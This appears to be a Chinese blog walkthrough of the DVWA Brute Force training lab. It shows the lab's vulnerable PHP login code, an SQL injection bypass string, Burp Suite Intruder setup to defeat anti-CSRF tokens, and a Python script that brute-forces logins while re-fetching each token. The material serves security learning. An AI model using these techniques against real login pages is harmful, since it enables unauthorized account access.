DVWA Brute Force:暴力破解篇
DVWA
Brute Force:暴力破解篇
- 前言
暴力破解是破解用户名密码的常用手段,主要是利用信息搜集得到有用信息来构造有针对性的弱口令字典,对网站进行爆破,以获取到用户的账号信息,有可能利用其权限进行一些非法操作。DVWA虽然是一个比较老的靶场,但其题目作为新手入门还是相当友好,大有裨益的,现有的网站添加了验证码、各种参数来阻止暴力破解,但验证码是可以被机器识别的,各种参数也是可以被构造的,只要掌握了其底层原理,我们依然可以使用该手段进行攻击。
Low级别
- 代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//可以发现只要query语句能够查询到结果,就可以进入这个if成功登录
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法一:万能密码
虽然名为Brute Force,但第一题可以用SQL注入来做,并且非常简单。
观察源代码,不难发现只要query语句能够查询到结果,就可以成功登录。于是构造语句如下,成功登录:
关键代码解析
//这一句代码要求result语句能够查询到结果
if( $result && mysqli_num_rows( $result ) == 1 )
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//我们将 admin' or '1'='1 注入到代码中之后,由于后台没有对其进行过滤,我们得到的query语句如下:
SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';
//这样,该语句就被or分成了两个部分,由于第一部分一定能够查询到结果,后面的语句并不影响最终结果,所以我们无需在数据库中匹配到正确密码,只要用户名正确就可以成功注入
Medium级别
- 代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- 可以注意到,相比上一题,本题有以下特点:
- 登录失败会有sleep(2),有2秒的时延
- 后台使用mysqli_real_escape_string函数对输入进行了过滤,我们上菜鸟教程看下,可以知道这个函数是用来过滤某些特殊字符的,比如我们在上一题里用到的引号。
既然是暴力破解,我们这里用burpsuite来抓包做一下爆破,使用火狐浏览器来设置一下代理,在火狐设置选项中找到代理,其他浏览器也有相关插件或选项可以进行设置。然后给Burpsuite也设置一下代理,这里的火狐代理和burp代理需要是一样的,配置如下图。
PS:在这期间我遇到一个问题,burpsuite无法抓取本地数据包,于是我修改localhost为本机ip,因为localhost还会指向ipv6的域名,导致冲突,所以使用本机ipv4的ip就可以解决这一问题。
然后抓包,可以看到这里使用GET请求提交的用户名和密码参数,于是我们将抓取到的数据发送到Intruder,点击clear删除掉所有变量,然后光标选中密码对应值(这里是aaa),点击add将其设置为变量。
然后点击Payloads,输入破解用的密钥(如果有弱口令字典可以点load导入)。
PS:这里我又遇到一个问题,就是爆破之后返回状态码都为302重定向,如果有遇到这个问题的朋友,在Options最底下一项Redirection勾选always,就可以自动跟随重定向了。
然后点击右上角Start attack,可以看到payload为password一栏的length不一样,这就是我们想要的密码,第二题Over!
High级别
- 代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
相对上一题,本题主要多了这几个特点:
- 使用stripslashes函数对用户名和密码进行过滤
stripslashes函数:用来去除字符串中的反斜杠,如果出现连续两个的反斜杠,则只去掉一个 - 对密码进行md5加密(但这对我们没有影响)
- 使用generateSessionToken函数加入了Token,可以抵御CSRF攻击,增加了爆破的难度
generateSessionToken函数:用来生成token令牌,token值会不断变化,因此不能使用一般的爆破手段
- 思路:这一题的难点在于token令牌,每次我们登陆时,页面会给我们返回一个token值,下次登陆时我们需要携带这个值让服务器来验证,这意味着我们多出了一个不可控的变量。
方法一:Burpsuite抓包爆破
我们依然可以选择使用burpsuite来对其进行爆破,只是流程比上一题复杂了一点。首先配置代理,和上面一样,抓包然后ctrl + i,send to Intruder,点击clear,然后选中password和token的值,点add设置为变量,把上面的Attack type攻击类型选项设置为Pitchfork(叉子模式)
这里补充下Burpsuite的四种AttackType
Attack Type 特点 Sniper(狙击手) 对变量依次进行破解,多个标记依次进行。对每个爆破点使用相同字典进行爆破(类似单线程) Battering ram(工程锤) 对变量同时进行破解,多个标记同时进行。对多个爆破点使用相同字典同时进行爆破(类似多线程) Pitchfork(叉子) 对两个爆破点使用不同字典同时进行爆破 Cluster Bomb(集束炸弹) 相当于二重循环,对每个第一个点的值,循环对第二个点进行爆破(例如对多个用户,循环对每个用户名使用相同密码字典进行爆破) 那Token值要怎么捕获到呢?通过查看网页源代码,我们可以知道它在value这个位置,注意复制这个value,后面有用。
还是先到Options里选择一直跟随重定向,然后去Grep - Extract(通过正则提取信息的一个模块)里点击add找value的值,结果???有点问题。没事,我们要的值就在下面,直接鼠标选中就行了
然后到Payloads,先设置导入字典,然后在Payloads Set中设置Payloads Set为2,Payloads Type为Recursive grep递归查找,把token值放进去,Start Attack,成功!
- 方法二:Python脚本爆破
注:代码虽然写了很详细的注释,但还是推荐有学过python爬虫的朋友看,没有学过的朋友看起来可能比较困难。
如果有朋友学过爬虫,那答案也非常简单。我们可以使用脚本来抓取每次生成的token,在下一次登录时携带该token进行爆破,这里我们使用Python来编写这个爆破脚本,使用时记得替换获取到的Cookie值。
import requests
from lxml import etree
from bs4 import BeautifulSoup
# 获取页面中的Token
def getToken(url, headers):
# 得到HTML,并将其实例化为一个tree对象,利用xpath(类似选择器的原理)定位到token值所在位置并获取
page_text = requests.get(url=url, headers=headers).text
tree = etree.HTML(page_text)
user_token = tree.xpath('//form/input[4]/@value')[0]
print(user_token)
return user_token
if __name__ == "__main__":
# 设置参数进行UA伪装并携带Cookie
headers = {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
'Cookie': 'security=high; PHPSESSID=gqdal64o4bsbbgj0r9sg6r3lq0'
}
url = 'http://169.254.48.14/dvwa-master/vulnerabilities/brute/index.php'
# 从文件中获取用户名和密码进行爆破(这里的爆破模式类似于Burp中的Cluster Bomb模式)
count = 1
with open('user.txt', 'r', encoding='utf-8') as userList:
for admin in userList:
with open('password.txt', 'r', encoding='utf-8') as pwdList:
for line in pwdList:
username = admin.strip()
password = line.strip()
# 每次发送请求前获取token值,设置好get请求所需要的参数
user_token = getToken(url, headers)
payload = {
'username': username,
'password': password,
'Login': 'Login',
'user_token': user_token
}
response = requests.get(url=url, headers=headers, params=payload).content
# 整理下输出格式
print("{:<6}".format(count), "{:<15}".format(username), "{:<15}".format(password), len(response.decode()))
count += 1
结果如下,第4项字节长度与其他的不一致,即为管理员正确的用户密码。
感谢阅读,之后还会再更新DVWA的其他部分,感兴趣的朋友不妨点个关注。
DVWA Brute Force:暴力破解篇的更多相关文章
- 安全性测试入门:DVWA系列研究(一):Brute Force暴力破解攻击和防御
写在篇头: 随着国内的互联网产业日臻成熟,软件质量的要求越来越高,对测试团队和测试工程师提出了种种新的挑战. 传统的行业现象是90%的测试工程师被堆积在基本的功能.系统.黑盒测试,但是随着软件测试整体 ...
- 【DVWA】Brute Force(暴力破解)通关教程
日期:2019-08-01 14:49:47 更新: 作者:Bay0net 介绍:一直以为爆破很简单,直到学习了 Burp 的宏录制和匹配关键词,才发现 burp 能这么玩... 0x01. 漏洞介绍 ...
- DVWA之Brute Force(暴力破解)
目录 Low Medium High Impossible 暴力破解是指使用穷举法,举出所有的可能的结果,然后逐一验证是否正确! Low 源代码: <?php if( isset( $_GET[ ...
- Brute Force(暴力(破解))
一.攻击模块1:Brute Force(暴力破解) 暴力破解一般指穷举法,穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕.若某个情况 ...
- Brute Force暴力破解
Low 服务器只是验证了参数Login是否被设置,没有任何的防爆破机制,且对参数username.password没有做任何过滤,存在明显的sql注入漏洞. 方法一:bp爆破 直接对爆破密码得到pas ...
- DVWA靶场练习-暴力破解
一.暴力破解 (Brute Force) 暴力破解是Web安全领域的一个基础技能,破解方法论为:构建常见用户名及弱口令 因此需要好的字典,对应破解场景构建特定的用户名密码,以及还需要具有灵活编写 ...
- 4. DVWA亲测暴力破解
LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块 我们先创建一个1.txt文件夹,把正确的账号密码写进去 我们输入 Username:1 Password: ...
- DVWA Brute Force 解析
LOW 源代码如下: <?php if( isset( $_GET['Login'] ) ) { $user = $_GET['username']; $pass = $_GET['passwo ...
- DVWA之Brute Force教程
---恢复内容开始--- Brute Force暴力破解模块,是指黑客密码字典,使用穷举的方法猜出用户的口令,是一种广泛的攻击手法. LOW low级别的漏洞利用过程 1.使用burp suite工具 ...
随机推荐
- C#中From窗体判断提示框是否
int ret(变量名1) = command.ExecuteNonQuery(); if (ret(变量名1) > 0)//判断变量名是否大于0 { DialogResult dr(变量名2) ...
- Python+moviepy音视频剪辑:视频帧数据的本质、Clip的fl方法进行变换处理的原理以及滚屏案例
专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt+moviepy音视频剪辑实战 专栏:PyQt入门学习 老猿Python博文目录 老猿学5G博文目录 一. ...
- mock.js 和easy-mock使用
mock.js 1.项目中引入mock.js <script src="../static/js/mock.js" type="text/javascript&qu ...
- 页面上下载canvas中的内容作为图片
使用如下代码,获得Canvas图像对应的data URI,也就是平常我们所说的base64地址 var dataUrl = document.getElementById("canvasId ...
- Docker部署Mysql8.0.20并配置主从复制
1. Linux安装Mysql8.0.20并配置主从复制(一主一从,双主双从) Linux安装Mysql8.0.20并配置主从复制(一主一从,双主双从) 2. 前提准备 # 创建主从数据库文件夹 ...
- druid数据源yml配置
application.yml配置 spring: datasource: username: root password: 123456 url: jdbc:mysql://localhost:33 ...
- 深入解析 C# 的 String.Create 的方法
作者:Casey McQuillan 译者:精致码农 原文:http://dwz.win/YVW 说明:原文比较长,翻译时精简了很多内容,对于不重要的细枝末节只用了一句话概括,但不并影响阅读. 你还记 ...
- css 13-CSS3属性:Flex布局图文详解
13-CSS3属性:Flex布局图文详解 #前言 CSS3中的 flex 属性,在布局方面做了非常大的改进,使得我们对多个元素之间的布局排列变得十分灵活,适应性非常强.其强大的伸缩性和自适应性,在网页 ...
- css进阶 07-CSS面试题
07-CSS面试题 #常见问题 #你是如何理解 HTML 语义化的? 语义化:指对文本内容的结构化(内容语义化),选择合乎语义的标签(代码语义化). 举例:段落用 p,边栏用 aside,主要内容用 ...
- js上 七、表达式
(1).什么是表达式 任何有值的内容都是表达式 一个表达式会产生一个值,它可以放在任何需要一个值的地方,比如a=3中的3就是一个表达式,a=3整体也可以作为一个表达式. 常见表达式有如下几种: ü 原 ...